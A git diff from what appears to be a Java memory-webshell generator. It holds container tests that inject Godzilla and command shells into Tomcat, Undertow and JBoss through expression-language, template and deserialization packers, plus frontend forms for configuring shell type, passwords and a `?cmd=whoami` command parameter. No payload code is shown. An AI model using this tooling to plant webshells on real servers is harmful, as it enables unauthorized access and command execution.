void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -66,7 +66,7 @@ public class Tomcat8ContainerTest {
|
|||||||
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.EL),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.EL),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Ognl),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.OGNL),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity)
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity)
|
||||||
|
|||||||
@@ -0,0 +1 @@
|
|||||||
|
VITE_APP_API_URL=
|
||||||
+2
-2
@@ -1,5 +1,5 @@
|
|||||||
{
|
{
|
||||||
"$schema": "https://biomejs.dev/schemas/1.9.3/schema.json",
|
"$schema": "https://biomejs.dev/schemas/1.9.4/schema.json",
|
||||||
"vcs": {
|
"vcs": {
|
||||||
"enabled": true,
|
"enabled": true,
|
||||||
"clientKind": "git",
|
"clientKind": "git",
|
||||||
@@ -30,7 +30,7 @@
|
|||||||
"indentStyle": "space",
|
"indentStyle": "space",
|
||||||
"indentWidth": 2,
|
"indentWidth": 2,
|
||||||
"enabled": true,
|
"enabled": true,
|
||||||
"lineWidth": 100,
|
"lineWidth": 120,
|
||||||
"ignore": ["node_modules", "tsconfig*", "dist"]
|
"ignore": ["node_modules", "tsconfig*", "dist"]
|
||||||
},
|
},
|
||||||
"organizeImports": {
|
"organizeImports": {
|
||||||
|
|||||||
Binary file not shown.
Executable
+8
@@ -0,0 +1,8 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
rm -rf ../boot/src/main/resources/static/assets/*
|
||||||
|
|
||||||
|
mkdir -p ../boot/src/main/resources/static/assets/
|
||||||
|
cp dist/vite.svg ../boot/src/main/resources/static/
|
||||||
|
cp -R dist/assets/* ../boot/src/main/resources/static/assets/
|
||||||
|
|
||||||
|
cp dist/index.html ../boot/src/main/resources/templates
|
||||||
+24
-15
@@ -6,42 +6,51 @@
|
|||||||
"scripts": {
|
"scripts": {
|
||||||
"typecheck": "tsc --noEmit",
|
"typecheck": "tsc --noEmit",
|
||||||
"dev": "vite --port=3001",
|
"dev": "vite --port=3001",
|
||||||
"build": "vite build",
|
"build": "tsc -b && vite build --mode production",
|
||||||
"serve": "vite preview",
|
"serve": "vite preview",
|
||||||
"check": "bunx @biomejs/biome check ./ --write",
|
"check": "bunx @biomejs/biome check ./ --write",
|
||||||
"start": "vite"
|
"start": "vite"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@biomejs/biome": "1.9.4",
|
"@biomejs/biome": "1.9.4",
|
||||||
"@tanstack/router-plugin": "^1.86.0",
|
"@tanstack/router-plugin": "^1.91.1",
|
||||||
"@types/node": "^22.10.1",
|
"@types/node": "^22.10.2",
|
||||||
"@types/react": "^19.0.1",
|
"@types/react": "^19.0.1",
|
||||||
"@types/react-dom": "^19.0.1",
|
"@types/react-dom": "^19.0.2",
|
||||||
"@vitejs/plugin-react": "^4.3.4",
|
"@vitejs/plugin-react": "^4.3.4",
|
||||||
"autoprefixer": "^10.4.20",
|
"autoprefixer": "^10.4.20",
|
||||||
"postcss": "^8.4.49",
|
"postcss": "^8.4.49",
|
||||||
"tailwindcss": "^3.4.16",
|
"tailwindcss": "^3.4.16",
|
||||||
|
"typescript": "^5.7.2",
|
||||||
"vite": "^6.0.3"
|
"vite": "^6.0.3"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@radix-ui/react-checkbox": "^1.1.2",
|
"@hookform/resolvers": "^3.9.1",
|
||||||
"@radix-ui/react-dropdown-menu": "^2.1.2",
|
"@radix-ui/react-checkbox": "^1.1.3",
|
||||||
"@radix-ui/react-label": "^2.1.0",
|
"@radix-ui/react-dropdown-menu": "^2.1.4",
|
||||||
"@radix-ui/react-radio-group": "^1.2.1",
|
"@radix-ui/react-label": "^2.1.1",
|
||||||
"@radix-ui/react-select": "^2.1.2",
|
"@radix-ui/react-radio-group": "^1.2.2",
|
||||||
"@radix-ui/react-slot": "^1.1.0",
|
"@radix-ui/react-select": "^2.1.4",
|
||||||
"@radix-ui/react-switch": "^1.1.1",
|
"@radix-ui/react-separator": "^1.1.1",
|
||||||
"@radix-ui/react-tabs": "^1.1.1",
|
"@radix-ui/react-slot": "^1.1.1",
|
||||||
"@tanstack/react-router": "^1.87.0",
|
"@radix-ui/react-switch": "^1.1.2",
|
||||||
"@tanstack/router-devtools": "^1.87.0",
|
"@radix-ui/react-tabs": "^1.1.2",
|
||||||
|
"@radix-ui/react-tooltip": "^1.1.6",
|
||||||
|
"@tanstack/react-query": "^5.62.8",
|
||||||
|
"@tanstack/react-router": "^1.91.2",
|
||||||
|
"@tanstack/router-devtools": "^1.91.2",
|
||||||
"@types/react-syntax-highlighter": "^15.5.13",
|
"@types/react-syntax-highlighter": "^15.5.13",
|
||||||
"class-variance-authority": "^0.7.1",
|
"class-variance-authority": "^0.7.1",
|
||||||
"clsx": "^2.1.1",
|
"clsx": "^2.1.1",
|
||||||
"lucide-react": "^0.468.0",
|
"lucide-react": "^0.468.0",
|
||||||
|
"next-themes": "^0.4.4",
|
||||||
"react": "^19.0.0",
|
"react": "^19.0.0",
|
||||||
"react-dom": "^19.0.0",
|
"react-dom": "^19.0.0",
|
||||||
|
"react-hook-form": "^7.54.1",
|
||||||
"react-syntax-highlighter": "^15.6.1",
|
"react-syntax-highlighter": "^15.6.1",
|
||||||
|
"sonner": "^1.7.1",
|
||||||
"tailwind-merge": "^2.5.5",
|
"tailwind-merge": "^2.5.5",
|
||||||
"tailwindcss-animate": "^1.0.7"
|
"tailwindcss-animate": "^1.0.7",
|
||||||
|
"zod": "^3.24.1"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,9 +1,10 @@
|
|||||||
import { Button, ButtonProps } from "@/components/ui/button.tsx";
|
import { Button, ButtonProps } from "@/components/ui/button.tsx";
|
||||||
import { cn } from "@/lib/utils.ts";
|
import { cn } from "@/lib/utils.ts";
|
||||||
import { CheckIcon, ClipboardIcon } from "lucide-react";
|
import { CheckIcon, ClipboardIcon } from "lucide-react";
|
||||||
import { useEffect, useState } from "react";
|
import { HTMLProps, useEffect, useState } from "react";
|
||||||
import { Prism as SyntaxHighlighter } from "react-syntax-highlighter";
|
import { Prism as SyntaxHighlighter } from "react-syntax-highlighter";
|
||||||
import { materialDark } from "react-syntax-highlighter/dist/esm/styles/prism";
|
import { materialDark } from "react-syntax-highlighter/dist/esm/styles/prism";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
|
||||||
interface CopyButtonProps extends ButtonProps {
|
interface CopyButtonProps extends ButtonProps {
|
||||||
value: string;
|
value: string;
|
||||||
@@ -14,24 +15,21 @@ export function copyToClipboardWithMeta(value: string) {
|
|||||||
navigator.clipboard.writeText(value);
|
navigator.clipboard.writeText(value);
|
||||||
}
|
}
|
||||||
|
|
||||||
export function CopyButton({
|
export function CopyButton({ value, className, src, variant = "ghost", ...props }: CopyButtonProps) {
|
||||||
value,
|
|
||||||
className,
|
|
||||||
src,
|
|
||||||
variant = "ghost",
|
|
||||||
...props
|
|
||||||
}: CopyButtonProps) {
|
|
||||||
const [hasCopied, setHasCopied] = useState(false);
|
const [hasCopied, setHasCopied] = useState(false);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
setTimeout(() => {
|
if (hasCopied) {
|
||||||
setHasCopied(false);
|
setTimeout(() => {
|
||||||
}, 2000);
|
setHasCopied(false);
|
||||||
}, []);
|
}, 1000);
|
||||||
|
}
|
||||||
|
}, [hasCopied]);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<Button
|
<Button
|
||||||
size="icon"
|
size="icon"
|
||||||
|
type="button"
|
||||||
variant={variant}
|
variant={variant}
|
||||||
className={cn(
|
className={cn(
|
||||||
"relative z-10 h-6 w-6 text-zinc-50 hover:bg-zinc-700 hover:text-zinc-50 [&_svg]:h-3 [&_svg]:w-3",
|
"relative z-10 h-6 w-6 text-zinc-50 hover:bg-zinc-700 hover:text-zinc-50 [&_svg]:h-3 [&_svg]:w-3",
|
||||||
@@ -40,6 +38,7 @@ export function CopyButton({
|
|||||||
onClick={() => {
|
onClick={() => {
|
||||||
copyToClipboardWithMeta(value);
|
copyToClipboardWithMeta(value);
|
||||||
setHasCopied(true);
|
setHasCopied(true);
|
||||||
|
toast.success("复制成功");
|
||||||
}}
|
}}
|
||||||
{...props}
|
{...props}
|
||||||
>
|
>
|
||||||
@@ -53,22 +52,33 @@ export function CodeViewer({
|
|||||||
code,
|
code,
|
||||||
language,
|
language,
|
||||||
showLineNumbers = true,
|
showLineNumbers = true,
|
||||||
|
wrapLongLines = false,
|
||||||
}: {
|
}: {
|
||||||
code: string;
|
code: string;
|
||||||
language: string;
|
language: string;
|
||||||
showLineNumbers?: boolean;
|
showLineNumbers?: boolean;
|
||||||
|
wrapLongLines?: boolean;
|
||||||
}) {
|
}) {
|
||||||
|
const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined = wrapLongLines
|
||||||
|
? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
|
||||||
|
: undefined;
|
||||||
return (
|
return (
|
||||||
<div className="relative overflow-hidden text-xs">
|
<div className="relative overflow-hidden text-xs wrap-all">
|
||||||
<CopyButton value={code} className="absolute right-4 top-2" />
|
<CopyButton value={code} className="absolute right-4 top-2" />
|
||||||
<SyntaxHighlighter
|
<SyntaxHighlighter
|
||||||
language={language}
|
language={language}
|
||||||
style={materialDark}
|
style={materialDark}
|
||||||
showLineNumbers={showLineNumbers}
|
showLineNumbers={showLineNumbers}
|
||||||
|
wrapLongLines={wrapLongLines}
|
||||||
|
lineProps={lineProps}
|
||||||
customStyle={{
|
customStyle={{
|
||||||
margin: 0,
|
margin: 0,
|
||||||
|
paddingRight: showLineNumbers ? 0 : 24,
|
||||||
|
paddingLeft: showLineNumbers ? 0 : 24,
|
||||||
borderRadius: "var(--radius)",
|
borderRadius: "var(--radius)",
|
||||||
height: 600,
|
height: 500,
|
||||||
|
whiteSpace: wrapLongLines ? "pre-wrap" : "pre",
|
||||||
|
overflowWrap: wrapLongLines ? "normal" : "break-word",
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
{code}
|
{code}
|
||||||
|
|||||||
@@ -1,17 +1,39 @@
|
|||||||
|
import { UrlPatternTip } from "@/components/tips/url-pattern-tip.tsx";
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
||||||
|
import { FormControl, FormDescription, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx";
|
||||||
import { Input } from "@/components/ui/input.tsx";
|
import { Input } from "@/components/ui/input.tsx";
|
||||||
import { Label } from "@/components/ui/label.tsx";
|
import { Label } from "@/components/ui/label.tsx";
|
||||||
import {
|
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select.tsx";
|
||||||
Select,
|
import { Separator } from "@/components/ui/separator.tsx";
|
||||||
SelectContent,
|
|
||||||
SelectItem,
|
|
||||||
SelectTrigger,
|
|
||||||
SelectValue,
|
|
||||||
} from "@/components/ui/select.tsx";
|
|
||||||
import { Switch } from "@/components/ui/switch.tsx";
|
import { Switch } from "@/components/ui/switch.tsx";
|
||||||
|
import { FormSchema } from "@/types/schema.ts";
|
||||||
|
import { MainConfig } from "@/types/shell.ts";
|
||||||
import { ServerIcon } from "lucide-react";
|
import { ServerIcon } from "lucide-react";
|
||||||
|
import { useState } from "react";
|
||||||
|
import { FormProvider, UseFormReturn } from "react-hook-form";
|
||||||
|
|
||||||
|
const JDKVersion = [
|
||||||
|
{ name: "Java6", value: "50" },
|
||||||
|
{ name: "Java8", value: "52" },
|
||||||
|
{ name: "Java9", value: "53" },
|
||||||
|
{ name: "Java11", value: "55" },
|
||||||
|
{ name: "Java17", value: "61" },
|
||||||
|
{ name: "Java21", value: "65" },
|
||||||
|
];
|
||||||
|
|
||||||
|
export function MainConfigCard({
|
||||||
|
mainConfig,
|
||||||
|
form,
|
||||||
|
servers,
|
||||||
|
}: {
|
||||||
|
mainConfig: MainConfig | undefined;
|
||||||
|
form: UseFormReturn<FormSchema>;
|
||||||
|
servers?: string[];
|
||||||
|
}) {
|
||||||
|
const [shellToolMap, setShellToolMap] = useState<{ [toolName: string]: string[] }>();
|
||||||
|
const [shellTools, setShellTools] = useState<string[]>([]);
|
||||||
|
const [shellTypes, setShellTypes] = useState<string[]>([]);
|
||||||
|
|
||||||
export function MainConfigCard() {
|
|
||||||
return (
|
return (
|
||||||
<Card className="w-full">
|
<Card className="w-full">
|
||||||
<CardHeader className="pb-1">
|
<CardHeader className="pb-1">
|
||||||
@@ -20,87 +42,280 @@ export function MainConfigCard() {
|
|||||||
<span>核心配置</span>
|
<span>核心配置</span>
|
||||||
</CardTitle>
|
</CardTitle>
|
||||||
</CardHeader>
|
</CardHeader>
|
||||||
<CardContent className="space-y-2">
|
<FormProvider {...form}>
|
||||||
<div className="grid grid-cols-2 gap-2">
|
<CardContent>
|
||||||
<div className="space-y-1">
|
<div className="grid grid-cols-2 gap-2">
|
||||||
<Label htmlFor="server" className="text-sm">
|
<FormField
|
||||||
目标服务
|
control={form.control}
|
||||||
|
name="server"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="space-y-1">
|
||||||
|
<FormLabel>目标服务</FormLabel>
|
||||||
|
<Select
|
||||||
|
onValueChange={(v) => {
|
||||||
|
field.onChange(v);
|
||||||
|
if (mainConfig) {
|
||||||
|
setShellToolMap(mainConfig[v]);
|
||||||
|
setShellTools(Object.keys(mainConfig[v]));
|
||||||
|
setShellTypes([]);
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
value={field.value}
|
||||||
|
>
|
||||||
|
<FormControl>
|
||||||
|
<SelectTrigger className="h-8">
|
||||||
|
<SelectValue placeholder="请选择" />
|
||||||
|
</SelectTrigger>
|
||||||
|
</FormControl>
|
||||||
|
<SelectContent>
|
||||||
|
{servers?.map((server: string) => (
|
||||||
|
<SelectItem key={server} value={server}>
|
||||||
|
{server}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="targetJdkVersion"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="space-y-1">
|
||||||
|
<FormLabel>JRE(可选)</FormLabel>
|
||||||
|
<Select onValueChange={field.onChange} value={field.value}>
|
||||||
|
<FormControl>
|
||||||
|
<SelectTrigger className="h-8">
|
||||||
|
<SelectValue placeholder="请选择" />
|
||||||
|
</SelectTrigger>
|
||||||
|
</FormControl>
|
||||||
|
<SelectContent>
|
||||||
|
{JDKVersion.map((v) => (
|
||||||
|
<SelectItem key={v.value} value={v.value}>
|
||||||
|
{v.name}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-center space-x-4 mt-2">
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="debug"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="flex items-center space-x-2 space-y-0">
|
||||||
|
<FormControl>
|
||||||
|
<Switch id="debug" checked={field.value} onCheckedChange={field.onChange} />
|
||||||
|
</FormControl>
|
||||||
|
<FormLabel htmlFor="debug">开启调试</FormLabel>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="bypassJavaModule"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="flex items-center space-x-2 space-y-0">
|
||||||
|
<FormControl>
|
||||||
|
<Switch id="bypassJavaModule" checked={field.value} onCheckedChange={field.onChange} />
|
||||||
|
</FormControl>
|
||||||
|
<Label htmlFor="bypassJavaModule">bypassJavaModule</Label>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<div className="flex items-center space-x-2">
|
||||||
|
<Switch id="lambda" disabled />
|
||||||
|
<Label htmlFor="lambda">Lambda 类名 (WIP)</Label>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-center space-x-2">
|
||||||
|
<Switch id="obfuscate" disabled />
|
||||||
|
<Label htmlFor="obfuscate">开启混淆 (WIP)</Label>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<Separator className="mt-4 mb-2" />
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="shellClassName"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="space-y-1">
|
||||||
|
<FormLabel>内存马类名(可选)</FormLabel>
|
||||||
|
<Input id="shellClassName" {...field} placeholder="请输入" className="h-8" />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<div className="grid grid-cols-3 gap-2 mt-2">
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="shellTool"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="space-y-1">
|
||||||
|
<FormLabel>内存马工具类型</FormLabel>
|
||||||
|
<Select
|
||||||
|
value={field.value}
|
||||||
|
onValueChange={(value: string) => {
|
||||||
|
field.onChange(value);
|
||||||
|
if (shellToolMap) {
|
||||||
|
setShellTypes(shellToolMap[value]);
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<FormControl>
|
||||||
|
<SelectTrigger className="h-8">
|
||||||
|
<SelectValue placeholder="请选择" />
|
||||||
|
</SelectTrigger>
|
||||||
|
</FormControl>
|
||||||
|
<SelectContent>
|
||||||
|
{shellTools.length ? (
|
||||||
|
shellTools.map((v) => (
|
||||||
|
<SelectItem key={v} value={v}>
|
||||||
|
{v}
|
||||||
|
</SelectItem>
|
||||||
|
))
|
||||||
|
) : (
|
||||||
|
<SelectItem value=" ">请先选择目标服务</SelectItem>
|
||||||
|
)}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="shellType"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="space-y-1">
|
||||||
|
<FormLabel>内存马挂载类型</FormLabel>
|
||||||
|
<Select onValueChange={field.onChange} value={field.value}>
|
||||||
|
<FormControl>
|
||||||
|
<SelectTrigger className="h-8">
|
||||||
|
<SelectValue placeholder="请选择" />
|
||||||
|
</SelectTrigger>
|
||||||
|
</FormControl>
|
||||||
|
<SelectContent>
|
||||||
|
{shellTypes.length ? (
|
||||||
|
shellTypes.map((v) => (
|
||||||
|
<SelectItem key={v} value={v}>
|
||||||
|
{v}
|
||||||
|
</SelectItem>
|
||||||
|
))
|
||||||
|
) : (
|
||||||
|
<SelectItem value=" ">请先选择内存马工具类型</SelectItem>
|
||||||
|
)}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="urlPattern"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="flex flex-col mt-1">
|
||||||
|
<Label className="flex items-center">
|
||||||
|
请求路径 <UrlPatternTip />
|
||||||
|
</Label>
|
||||||
|
<Input {...field} placeholder="请输入" className="h-8" />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div className="mt-2">
|
||||||
|
{form.getValues().shellTool === "Godzilla" && (
|
||||||
|
<div className="space-y-1">
|
||||||
|
<Label>Godzilla 配置</Label>
|
||||||
|
<div className="grid grid-cols-2 gap-2">
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="godzillaPass"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="space-y-1 flex items-center justify-start">
|
||||||
|
<Label className="text-xs whitespace-nowrap w-1/2">密码:</Label>
|
||||||
|
<Input {...field} placeholder="Pass" className="h-8" />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="godzillaKey"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="space-y-1 flex items-center justify-start">
|
||||||
|
<Label className="text-xs whitespace-nowrap w-1/2">密钥:</Label>
|
||||||
|
<Input {...field} placeholder="Key" className="h-8" />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="godzillaHeaderName"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="space-y-1 flex items-center justify-start">
|
||||||
|
<Label className="text-xs whitespace-nowrap w-1/2">请求头键:</Label>
|
||||||
|
<Input {...field} placeholder="Header Name" className="h-8" />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="godzillaHeaderValue"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="space-y-1 flex items-center justify-start">
|
||||||
|
<Label className="text-xs whitespace-nowrap w-1/2">请求头值:</Label>
|
||||||
|
<Input {...field} placeholder="Header Value" className="h-8" />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{form.getValues().shellTool === "Command" && (
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="commandParamName"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="space-y-1">
|
||||||
|
<FormLabel>请求参数</FormLabel>
|
||||||
|
<FormControl>
|
||||||
|
<Input {...field} placeholder="请输入" className="h-8" />
|
||||||
|
</FormControl>
|
||||||
|
<FormDescription>填写接收命令的请求参数,例如填 cmd 即 `?cmd=whoami` 来执行命令</FormDescription>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<Separator className="mt-4 mb-2" />
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="injectorClassName"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="space-y-1">
|
||||||
|
<FormLabel>注入器类名(可选)</FormLabel>
|
||||||
|
<Input id="injectorClassName" {...field} placeholder="请输入" className="h-8" />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<div className="space-y-1 mt-2">
|
||||||
|
<Label htmlFor="interface" className="flex items-center gap-2">
|
||||||
|
注入器类继承(可选)(WIP)
|
||||||
</Label>
|
</Label>
|
||||||
<Select>
|
<Select disabled>
|
||||||
<SelectTrigger id="server" className="h-8">
|
<SelectTrigger id="interface" className="h-8">
|
||||||
<SelectValue placeholder="请选择" />
|
<SelectValue placeholder="请选择" />
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
<SelectItem value="tomcat">Tomcat</SelectItem>
|
<SelectItem value="JDK_AbstractTranslet">JDK_AbstractTranslet</SelectItem>
|
||||||
<SelectItem value="jetty">Jetty</SelectItem>
|
<SelectItem value="XALAN_AbstractTranslet">XALAN_AbstractTranslet</SelectItem>
|
||||||
<SelectItem value="undertow">Undertow</SelectItem>
|
<SelectItem value="FASTJSON_GroovyASTTransformation">FASTJSON_GroovyASTTransformation</SelectItem>
|
||||||
<SelectItem value="jboss">JBoss</SelectItem>
|
<SelectItem value="SnakeYaml_ScriptEngineFactory">SnakeYaml_ScriptEngineFactory</SelectItem>
|
||||||
<SelectItem value="wildfly">Wildfly</SelectItem>
|
|
||||||
<SelectItem value="springmvc">SpringMVC</SelectItem>
|
|
||||||
<SelectItem value="springwebflux">SpringWebflux</SelectItem>
|
|
||||||
<SelectItem value="weblogic">WebLogic</SelectItem>
|
|
||||||
<SelectItem value="websphere">WebSphere</SelectItem>
|
|
||||||
<SelectItem value="resin">Resin</SelectItem>
|
|
||||||
<SelectItem value="glassfish">Glassfish</SelectItem>
|
|
||||||
<SelectItem value="bes">BES</SelectItem>
|
|
||||||
<SelectItem value="tongweb">TongWeb</SelectItem>
|
|
||||||
</SelectContent>
|
</SelectContent>
|
||||||
</Select>
|
</Select>
|
||||||
</div>
|
</div>
|
||||||
<div className="space-y-1">
|
</CardContent>
|
||||||
<Label htmlFor="targetJdkVersion" className="text-sm">
|
</FormProvider>
|
||||||
JRE
|
|
||||||
</Label>
|
|
||||||
<Select defaultValue="6">
|
|
||||||
<SelectTrigger id="targetJdkVersion" className="h-8">
|
|
||||||
<SelectValue placeholder="请选择" />
|
|
||||||
</SelectTrigger>
|
|
||||||
<SelectContent>
|
|
||||||
<SelectItem value="6">Java 6</SelectItem>
|
|
||||||
<SelectItem value="7">Java 7</SelectItem>
|
|
||||||
<SelectItem value="8">Java 8</SelectItem>
|
|
||||||
<SelectItem value="9">Java 9</SelectItem>
|
|
||||||
<SelectItem value="11">Java 11</SelectItem>
|
|
||||||
<SelectItem value="17">Java 17</SelectItem>
|
|
||||||
</SelectContent>
|
|
||||||
</Select>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div className="grid grid-cols-2 gap-2">
|
|
||||||
<div>
|
|
||||||
<Label htmlFor="shellClassName" className="text-sm">
|
|
||||||
自定义内存马类名(可选)
|
|
||||||
</Label>
|
|
||||||
<Input id="shellClassName" placeholder="请输入" className="h-8" />
|
|
||||||
</div>
|
|
||||||
<div>
|
|
||||||
<Label htmlFor="injectorClassName" className="text-sm">
|
|
||||||
自定义注入器类名(可选)
|
|
||||||
</Label>
|
|
||||||
<Input id="injectorClassName" placeholder="请输入" className="h-8" />
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div className="flex items-center space-x-4">
|
|
||||||
<div className="flex items-center space-x-2">
|
|
||||||
<Switch id="obfuscate" />
|
|
||||||
<Label htmlFor="obfuscate" className="text-sm">
|
|
||||||
开启混淆
|
|
||||||
</Label>
|
|
||||||
</div>
|
|
||||||
<div className="flex items-center space-x-2">
|
|
||||||
<Switch id="debug" />
|
|
||||||
<Label htmlFor="debug" className="text-sm">
|
|
||||||
开启调试
|
|
||||||
</Label>
|
|
||||||
</div>
|
|
||||||
<div className="flex items-center space-x-2">
|
|
||||||
<Switch id="lambda" />
|
|
||||||
<Label htmlFor="debug" className="text-sm">
|
|
||||||
Lambda 类名
|
|
||||||
</Label>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</CardContent>
|
|
||||||
</Card>
|
</Card>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,9 +1,18 @@
|
|||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
||||||
import { Label } from "@/components/ui/label.tsx";
|
import { FormControl, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx";
|
||||||
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group.tsx";
|
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group.tsx";
|
||||||
|
import { FormSchema } from "@/types/schema.ts";
|
||||||
|
import { PackerConfig } from "@/types/shell.ts";
|
||||||
import { PackageIcon } from "lucide-react";
|
import { PackageIcon } from "lucide-react";
|
||||||
|
import { FormProvider, UseFormReturn } from "react-hook-form";
|
||||||
|
|
||||||
export function PackageConfigCard() {
|
export function PackageConfigCard({
|
||||||
|
packerConfig,
|
||||||
|
form,
|
||||||
|
}: {
|
||||||
|
packerConfig: PackerConfig | undefined;
|
||||||
|
form: UseFormReturn<FormSchema>;
|
||||||
|
}) {
|
||||||
return (
|
return (
|
||||||
<Card className="w-full">
|
<Card className="w-full">
|
||||||
<CardHeader className="pb-1">
|
<CardHeader className="pb-1">
|
||||||
@@ -12,74 +21,32 @@ export function PackageConfigCard() {
|
|||||||
<span>打包配置</span>
|
<span>打包配置</span>
|
||||||
</CardTitle>
|
